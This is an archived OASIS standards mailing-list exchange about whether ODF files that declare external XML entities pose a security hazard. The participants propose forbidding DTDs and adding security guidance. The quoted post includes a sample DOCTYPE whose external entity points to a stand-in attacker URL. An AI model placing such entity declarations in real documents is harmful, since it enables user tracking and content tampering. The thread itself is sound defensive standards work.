OASIS Mailing List ArchivesView the OASIS mailing list archive below
or browse/search using MarkMail.

 


Help: OASIS Mailing Lists Help | MarkMail Help

office-comment message

[Date Prev] | [Thread Prev] | [Thread Next] | [Date Next] -- [Date Index] | [Thread Index] | [List Home]


Subject: Re: [office-comment] ODF security hazard? (ODF all versions)


"Alex Brown" <alexb@griffinbrown.co.uk> wrote on 02/21/2009 07:35:18 AM:

> 
> Dear all,
> 
> Is an XML document starting thus, a conformant ODF document:
> 
> <?xml version="1.0" encoding="UTF-8"?>
> <!DOCTYPE office:document-content [
> <!ENTITY l33thakz SYSTEM "http://my-evil-hack-site.net/payload.php";>
> ]>
> <office:document-content xmlns:office= ... (etc)
> 
> ?
> 
> If the ODF processor is a conformant XML processor, then it may expand
> that external entity reference. 
> 
> This is obviously a security risk enabling tracking of users of the
> document, modification of the content, or certain more serious kinds of
> attack. These vulnerabilities are well known and documented in section
> 10 of RFC 3023.
> 
> I believe ODF should be modified to forbid the use of DTDs (as has been
> done in OOXML), as casual office application users cannot be expected to
> be aware of the security hazards implicit in this XML feature, or that
> every ODF document of unknown origin is a potential security risk.
> 

I wouldn't expect "casual office application users" to even be aware that 
they are using ODF.  But we should expect that application vendors would 
be aware of these, and the many other security considerations.  Remember, 
ODF documents allow scripts and OLE embeddings as well.  As with HTML, I 
bet you could craft a 1x1 image to act as a "bug".  Certainly you could 
have a hyperlink to a web page with malicious content.  Before Microsoft 
fixed their bug with Windows Metafiles, that was an attack vector.  Even 
the world's simplest ASCII text editor, if it has unchecked memcpy's, 
could be brought down with a document that has an unusually long file 
name, or line length, or use of control characters.  I'm sure there are 
many other examples of such risks.

The point, of course, is once you've loaded a document from someone with a 
malicious intent, then you are at the mercy of your application vendor and 
how well they have accounted for these attack vectors and how quickly they 
respond when flaws are identified. 

The best thing a user can do, honestly, is run an operating system with a 
restricted privilege model like Linux, so if there is an attack, the harm 
is contained.  Digital signatures can help as well.  An application could 
allow or deny operations based on whether a signature exists, or based on 
whether the user trusts that person.

It goes without saying that someone who wants to cause harm would add 
external entity references to the document, regardless of what we say in 
the ODF standard, if they thought it would work. Bulgarian computer 
hackers tend not to be overly concerned with how ISO standards define 
conformance...

But I do think this would be good to collect a set of security 
considerations into an Appendix, as we have with Bidi techniques and 
Accessibility guidelines.  If there is interest we could also explore a 
"Secure ODF" profile that would forbid things like OLE embeddings, 
scripts, etc.

-Rob

> If not, the text of ODF 1.2 should be amended to include a prominent
> security warning and a pointer to RFC 3023.
> 
> The text of previous versions of ODF should be modified to include such
> a security warning.
> 
> I am *extremely* interested in this topic as I am collected use cases
> for a new validation language which can be used to constrain the infoset
> features of XML documents. Such a language could clearly be useful to
> declaring that DTDs are not permitted, and be of use to future versions
> of ODF/OOXML if they chose that route ...
> 
> Thoughts please ...
> 
> - Alex.
> 
> -- 
> This publicly archived list offers a means to provide input to the
> OASIS Open Document Format for Office Applications (OpenDocument) TC.
> 
> In order to verify user consent to the Feedback License terms and
> to minimize spam in the list archive, subscription is required
> before posting.
> 
> Subscribe: office-comment-subscribe@lists.oasis-open.org
> Unsubscribe: office-comment-unsubscribe@lists.oasis-open.org
> List help: office-comment-help@lists.oasis-open.org
> List archive: http://lists.oasis-open.org/archives/office-comment/
> Feedback License: http://www.oasis-open.org/who/ipr/feedback_license.pdf
> List Guidelines: http://www.oasis-open.org/maillists/guidelines.php
> Committee: 
http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=office
> 



[Date Prev] | [Thread Prev] | [Thread Next] | [Date Next] -- [Date Index] | [Thread Index] | [List Home]